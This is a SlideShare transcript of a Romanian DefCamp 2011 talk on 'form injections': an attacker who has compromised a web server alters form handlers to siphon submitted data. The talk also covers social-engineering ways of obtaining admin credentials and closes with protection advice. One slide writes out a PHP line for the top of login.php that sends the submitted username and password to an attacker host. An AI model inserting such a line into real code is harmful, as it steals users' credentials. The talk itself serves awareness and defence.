Injectii in formulare
Upcoming SlideShare
Loading in...5
×
 

Injectii in formulare

on

  • 2,496 views

 

Statistics

Views

Total Views
2,496
Views on SlideShare
1,251
Embed Views
1,245

Actions

Likes
0
Downloads
15
Comments
0

3 Embeds 1,245

http://defcamp.ro 1194
http://defcamp.com 47
http://lanyrd.com 4

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Injectii in formulare Injectii in formulare Presentation Transcript

  • Injecţii în formulare
    Uneori nici nu ştii cum şi unde se trimit datele tale
    Dragoş Gaftoneanu
    www.dragosgaftoneanu.com
    DefCamp 2011
    Bran , judeţul Braşov
  • Cuprins
    1. Ce înseamnă o injecţie in formular?
    2. Cum se poate face o injecţie?
    3. Categorii de injecţii în formulare
    3.1 După locul injectării
    3.1.1 Injecţii în formulare de căutare
    3.1.2 Injecţii în formulare de logare
    3.1.3 Injecţii în formulare de opinie (sondaje)
    3.1.4 Injecţii în formulare de publicare
    3.2 După modul de injectare
    3.2.1 Injecţii manuale
    3.2.2 Injecţii automate
    4. Cum să ne protejăm de injecţii?
  • 1. Ceînseamnă o injecţie în formular?
    O injecţie în formular este o vulnerabilitate web de tip man-in-the-middle în care datele trimise de client sunt înaintate către o persoană ce le poate folosi în alt mod decât cel pentru care a optat victima.
    Vulnerabilitatea aceasta web nu este una cu totul nouă şi nici nu este folosită la scară largă, dar poate produce pagube destul de mari, în funcţie de persoana care o utilizează.
  • 2. Cum se poate face o injecţie?
    Pentru a putea face o injecţie într-un formular este necesară obţinerea accesului la site şi alterareadatelorcesunttrimise de formularul ţintă.
    Obţinerea accesului se poate face prin mai multe modalităţi, ca de exemplu prin introducerea unui fişier PHP denumit “shell” prin vulnerabilităţi web de tipul Local File Inclusion (Injecţia Locală a unui Fişier) sau Remote File Inclusion (Injecţia de la Distanţă a unui Fişier) sau prin obţinerea datelor de la panoul de administrare sau de la FTP.
  • 2. Cum se poate face o injecţie?
    Ideea de bază a acestei vulnerabilităţi web este preluarea informaţiilor şi trimiterea lor mai departe către atacator prin diverse metode, ce vor fi discutate mai târziuîn prezentare.
    În cele ce urmează vor fi prezentate trei situaţii prin care atacatorul poate intra în posesia numelui şi parolei administratorului utilizând tehnici de inginerie socială.
  • 2. Cum se poate face o injecţie?
    1. Pierderea datelor clienţilor
    Victima primeşte un email care o anunţă că firma de hosting la care are site-ul a avut o pană de curent, un atac de tip DDoS (flood) sau un incendiu iar echipamentele au fost afectate. Ca rezultat, ei au nevoie de datele de conectare ale victimei pentru a le reintroduce în baza lor de date.
  • Pentru a fi siguri că mail-ul este original, trebuie să verificăm întotdeauna de la cine am primit email-ul şi, dacă e posibil, headerele acestuia. PHP oferă funcţia mail() prin care oricine poate trimite un mail cu orice adresă.
    O altă modalitate de a verifica email-ul este de a trimite un răspuns înapoi prin care îi cerem firmei de hosting să confirme mesajul.
    2. Cum se poate face o injecţie?
  • 2. Cum se poate face o injecţie?
    2. Vizita la birou
    Anumite persoane îşi ţin datele personale la vedere, pe un bileţel, într-un carneţel sau pe calculator într-un fişier text.
    Exemplu: Atacatorul lansează un atac de tip DDoS pe IP-ul victimei şi apoi soseşte la ea la uşă, prezentându-se a fi un reprezentant al firmei de la care victima are acces la Internet. Aparent, el va reface conexiunea victimei, însă, în realitate, atacatorul va căuta datele personale ale victimei.
  • 2. Cum se poate face o injecţie?
    Pentru a ne proteja de aceşti atacatori, trebuie, în primul rând, să le cerem un act prin care să-şi confirme identitatea şi funcţia pe care o ocupă în firmă.
    De asemenea, datele de conectare, în special parolele, nu trebuie ţinute la vedere. În cazul în care sunt parole complicate, este recomandată folosirea unui manager de parole.
  • 2. Cum se poate face o injecţie?
    3. Quid pro quo
    Un studiu realizat în Liverpool Street Station în anul 2004 înrândulangajaţilorcompaniei a arătat că, în schimbul unui baton de ciocolată, 71% dintre aceştia şi-au făcut cunoscute propriile parole de pe computerele din companie, 66% au spus că folosesc aceeaşi parolă pentru conturile business şi accesul personal, iar 40% au menţionat că ştiu parolele colegilor.
  • Trebuie reţinut că o parolă nu trebuie să o cunoască mai mult de o persoană.
    În cazul în care mai multe persoane au nevoie de acces la un anumit loc, server sau panou de administrare, se recomandă crearea de conturi separate pentru fiecare utilizator şi, dacă este posibiliă, restricţionarea pe nivele de acces.
    2. Cum se poate face o injecţie?
  • 3. Categorii de injecţii în formulare
    3.1 După locul injectării
    3.1.1 Injecţii în formulare de căutare
    3.1.2 Injecţii în formulare de logare
    3.1.3 Injecţii în formulare de opinie (sondaje)
    3.1.4 Injecţii în formulare de publicare
    3.2 După modul de injectare
    3.2.1 Injecţii manuale
    3.2.2 Injecţii automate
  • După locul injectării
  • 3.1.1Injecţii în formulare de căutare
    Prin aceste injecţii, atacatorul poate afla ceea ce caută victima cu scopul de a-i crea un profil sau pur şi simplu pentru a afla câteva date personale despre ea.
    Acest tip de injecţie este util în special în cazul în care se doreşte monitorizarea unei persoane. O altă variantă pentru monitorizarea ei este instalarea unui plugin în browser care să înregistreze şi să trimită mai departe headerele trimise de pagini.
  • 3.1.2 Injecţii în formulare de logare
    Acest tip de injecţie este cel mai periculos deoarece sunt capturate numele şi parola victimei.
    Atacul este folosit în mod special în site-urile cu uz frecvent, precum forumurile, trackerele sau blogurile.
    Conturile astfel furate pot fi vândute pe piaţa neagră, valoareaunui cont ajungând până la câteva mii de euro.
  • 3.1.3 Injecţii în formulare de opinie
    Prin acest tip de injecţie sunt preluate anumite date ale victimei ce pot fi folosite în scopuri de marketing.
    Spre exemplu, majoritatea sondajelor de opinie din ziua de azi au un câmp în care utilizatorul îşi poate introduce numele şi/sau email-ul. Cu ajutorul acestor date, atacatorul îi poate trimite mesaje de tip spam sau de tip phishing.
  • 3.1.4 Injecţii în formulare de publicare
    Cu ajutorul acestei injecţii, un atacator poate primi regulat anumite informaţii pe care le publică într-un anumit loc victima.
    Spre exemplu, atacatorul face o injecţie într-un formular de publicare a articolelor pe blogul victimei, iar de fiecare dată când aceasta va publica un articol nou, atacatorul îl va primi pe email şi ulterior îl va publica pe alt blog, motoarele de căutare indexându-l mai bine.
  • DUPĂ MODUL DE INJECŢIE
  • 3.2.1 Injecţii manuale
    Prin injecţia manuală se înţelege acel tip de injecţie în care atacatorul plasează manual un script ce trimite anumite date ale victimei către el.
    Spre exemplu, pe pagina login.html există un formular de logare ce trimite datele către login.php care face verificarea în baza de date. Atacatorul obţine acces la server, şi introduce la începutul fişierului login.php codulurmător
    file_get_contents(“http://siteatacator.ro/?username= “ . $_POST[‘username’] . “&parola=“ . $_POST[‘parola’]);
    Prin funcţia aceasta, se preia sursa paginii, dar totodată se accesează şi pagina. Astfel, prin GET sunt preluate username-ul şi parola şi salvate într-o bază de date, într-un fişier text sau trimise către mail-ul atacatorului.
  • 3.2.2 Injecţii automate
    Injecţiile automate au la bază ideea injecţiilor manuale, singura diferenţă fiind că injecţia se face automat de către un fişier PHP, denumit fişier intermediar, ce poate fi accesat ulterior de către atacator după ce acesta este urcat pe server.
    Această metodă este bună atunci când atacatorul doreşte ca datele victimei să fie trimise doar de la un anumit punct şi doar pentru o perioadă de timp. El poate să seteze ca fişierul PHP să injecteze codul şi să-l şteargă ori de câte ori e nevoie.
    Metoda nu este bună întotdeauna deoarece, dacă victima găseşte fişierul intermediar, poate să îşi dea seama că este vulnerabilă şi să-şi securizeze găurile de securitate.
    Acest tip de fişier se poate asemăna cu un fişier de tip “shell”.
  • 4Cum să ne protejăm de injecţii?
    Pentru a ne proteja de injecţii, trebuie să respectăm următoarele reguli:
    • site-ul nu trebuie să aibă nici un fel de vulnerabilitate server-side
    • conturile de FTP sau de la panourile de administrare trebuie să aibă o parolă complexă
    • permisiunile pentru fişierele ce preiau datele anumitor formulare trebuie să fie setate corespunzător
    • dacă este posibil, accesul la zonele sensibile din site să fie restricţionat pe clase de IP
    • dacă este posibil, accesul la zonele sensibile din site să fie restricţionat pe nivele
    • dacă este posibil, accesul la zonele sensibile din site să fie blocat în cazul în care se încearcă un atac de tip brute-force
  • ÎNTREBĂRI?
  • VĂ MULŢUMESC!